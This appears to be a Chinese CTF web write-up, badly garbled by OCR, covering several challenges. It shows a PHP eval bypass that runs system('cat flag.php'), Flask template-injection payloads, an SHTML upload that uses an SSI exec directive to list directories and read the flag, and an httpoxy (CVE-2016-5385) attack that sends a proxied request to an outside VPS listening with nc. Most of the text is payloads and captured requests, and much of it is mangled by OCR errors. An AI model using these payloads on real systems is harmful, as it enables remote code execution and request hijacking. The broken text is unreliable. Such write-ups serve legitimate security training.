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<?php
if preg_replace
if(!preg_match
eval($ _GET
else
die

else

show_source(__FILE _
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get_defined_vars()
ZERBAT LR E —NMEE A R UERFIRMN S HEHA, XU TEAFENETE. REBTEMHFP EXHITE.
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array(4) { [" GET"]=> array(2) { ["code"]=> string(29) "var dump(get defined vars());" ["a"]=>
string(10) "phpinfo();" } [* POST"]=> array(0) { } [" COOKIE"]=> array(0) { } [" FILES"]=> array(0) { }
}

e O === wele DEste N ms () astwses (O @ Hacksar » 01 ] - X
Encryption + Encoding~ SQL~ XSS~ LFI~ XXE~ Other~ Commit now! HackBar v2
& Load URL http:/ffd1a2137.Ixctf.net/?code=var_dump(get_defined_vars());&a=phpinfo();
& split URL
A
@Execute

[] Postdata [ Referer [ User Agent [] Cookies Add Header ... ﬁjgg;;_@i :

—d

BEAMEN

code=var_dump(get_defined_vars());&a=phpinfo();
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code=var_dump(pos(get_defined_vars()));&a=phpinfo();
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array(2) { ["code"]=> string(34) "var dump(pos(get defined vars()));" ["a"]=> string(10)
"phpinfo();" }
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&€ Load URL http://fd1a2137 .Ixctf.net/?code=var_dump(pos(get_defined_vars()));&a=phpinfo();

& split URL
Y
@Execute

[ Postdata [ Referer [J User Agent [] Cookies Add Header ;< Gileas Al o
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B %payload:
a=system('cat flag.php');&code=eval(pos(pos(get_defined_vars())));
TR IR Blflag
Q, %= HTML
<1--?php $flag="flag{560e56dh5756d2707761bdobaf7dabo1}"; ?-->
<html>
head head
<body></body>

</fhtml>

flask
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{{(). __class . mro_ [2]}}

{{().__class__ . mro__._ getitem_ (2)}}

TET TRL
F Frequestyt % 25t

{{().__class__. bases_[0]}}

{{()[request.args.class][request.args.bases][0]}}

class=__class__&bases=__bases




request.args.x AT LB #e il request. cookies.x Fl request.headers.x (Bhibargs#iid )
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import requests

r=requests.get(url+payload, headers=headers)

print(r.text)
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Baby-Upload
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Request Response
Pretty WiENUM Hex \hi [ = Raw Hex Render W=
1 POST / HTTE/L.l 1 HTTPR/l.1 200 OK
2 Host: LlfE76ccT.luctf.net 2 Content-Length: 50&
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4; rv:96.0) 3 Content-Type: text/html
Gecko/20100101 Firefox/96.0 4 Date: Wed, 19 Jan 2022 17:08:09 GMT
4 Accept: 5 Server: Apache/2.4.7 (Ubuntu)
text/html, application/xhtml+xml, application/xml; q=0.9, images/avif, i 6 Vary: Accept-Encoding
mage /webp, */*; q=0.8 7 X-Powsred-By: PHP/5.5.9-lubuntud.l4
5 Accept-Language: 2 Connection: close
zh-CN, zh; q=0.8, eh-TW; ¢=0.7, zh-HK; ¢=0.53,en-US; ¢=0.3, en; q=0.2
6 Accept-Encoding: gzip, deflate 10 <html>
7 Content-Type: wmultipart/form-data; 11 <hesad>
boundary 37506044742555375163 1528600592 12 <meta charset="UTF-8">
2 Content-Length: 252 13 <titles
o Origin: http://1f676ccT.lxctf.net Baby-Upload
10 Connection: close </title>
11 Referer: http://lf676ccT.lxctf.n=t/ 14 </head>
12 Upgrade-Insecure-Requests: 1 15 <!--Y¥e_wants_two_girlfriends-->
13 & <hbody>
14 |-——- 37506044742555375163 1528600592 17 <center>
15 Content-Disposition: forw-data; name="file upload"; filename=" 13 <hl>
1l.shtml" Baby-TUpload
16 Content-Type: text/plain </hl>
17 1 <hr>
18 <!--f#exec cmd="dir /"--> <p>
19 <bz>
20 | ---- 37506044742555375163 1528600592 00000000000000
21 </b>
</p>

21 <form method="post" enctype="multipart/form-data">
22 File: <input type="file" name="file upload">
<br>
<input type="submit">
</ form>
</center>
2 </body>
27 </html>
22 Upload Successful , the File in the <b>
/upload/d7efaa=655f61776194030452dc9a=32/1. shtml
</b>
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app home root start.sh bin lib run sys boot lib64 run.sh tmp create_mysql_admin_user.sh media sbin usr dev mnt srv var etc opt start-apache2.sh fffffflllll11111aaaaa4444ggggg proc start-mysgld.sh
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Request Response

Pretty JREVTE Hex \n Raw Hex Render i =

1 POST / HTTE/L.1 HTTE/Ll.1 200 OK

2 Host: LlfeT7eccT.lxctf.net Content-Length: 506

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&64; rv:96.0) 3 Content-Type: text/html
Gecko/20100101 Firefox/96.0 4 Date: Wed, 19 Jan 2022 17:10:17 GMT

Server: Apachs/2.4.7 (Ubuntu)

Vary: Accept-Encoding

X-Powsred-By: PHP/5.5.9-lubuntud.l4

Accept:
text/html, application/xhtml+xml, application/xml; q=0.9, image /avif, i
mage/webp, */*; q=0.8

o

5 Accept-Lancuage: 2 Connection: close
zh-CN, zh; ¢=0.8, 2h-TW; ¢=0.7, zh-HE; q=0. 5, en-US; ¢=0.3,en; ¢=0.2 =]
6 Accept—Encoding: gzip, deflate 10 <html>
7 Content-Type: multipart/form-data; 11 <head:>
boundary 37506044742555375163 1528600592 1z <meta charset="UTF-8">
¢ Content-Length: 287 13 <title>
o Origin: http://1f676ccT.lxctf.net EBaby-Upload
10 Connection: close </title>
11 Referer: http://lf676ccT.lxctf.net/ 14 </head>
12 Upgrade-Insecurs-Requests: | 15 <!--¥e_wants_two_girlfriends-->
1 16 <hbody>
14 |--- 37506044742555375163 1528600592 17 <center>
|15 Content-Disposition: form-data; name="file upload”; filename=" 18 <hl>
l.shtml" EBaby-Upload
16 Content-Type: text/plain </hl>
17 a <hrz>

18 <l-—flever cmd="/h77/ca? SFEFFFF21111111111aaaaaddddaerererer " == 20 <n>
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g <o
|20 - 375060447425553751631528600592—- 00000000000000

</b>
</p>
<form method="post" enctype="multipart/form-data">
22 File: <input type="file" name="file upload">

<br>
<input type="submit">
</form>
</center>
2 </body>
27 </html>
22 Upload Successful , the File in the <b>
Jupload/d7efaa=£55£61776194030452dc9a=32/1. shtml
</b>
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ZZHTTPoxylRiH (CVE-2016-5385)
VPS LWt i O g, fEHTTPE R A H i inProxysk:
Proxy: http:/VPS:POST/

Request

Pretty BRENUM Hex in =

1 GET / HTTE/1.1
2 Proxy: http://39.107.138.71:6666/

3 Host: 113.201.14.253:14880
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =€4; rv:B96.0)

Gecko/Z0100101 Firefox/5E6.0
5 Accept:
text/html, application/xhtwl+xml, application/xwl;=0.9, image/avif, i
mage /webp, */* ;=08
£ Accept-Language:
zh-CN, zh; =0.8, zh—TW; q=0.7, zh-HK; q=0. 5, en-U3; ¢=0.3,en; =0.2
7 Accept-Encoding: gzip, deflate
¢ Connection: close
S Upgrade-Insecure-Reguests: 1
0 Cache-Control: max—age=0
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root@izZ2zec7mjp663umpOwsug3z: ~

Listening on [0.0.0.0] (family @, port 6666)
Connection from 113.201.14.253 41654 received

POST http://www.yunyansec.com/ HTTP/1.1
Proxy-Connection: Keep-Alive

User-Agent: GuzzleHttp/6.2.0 curl/7.38.0 PHP/5.6.23
Content-Type: application/x-www-form-urlencoded
Host: www.yunyansec.com

Content-Length: 40
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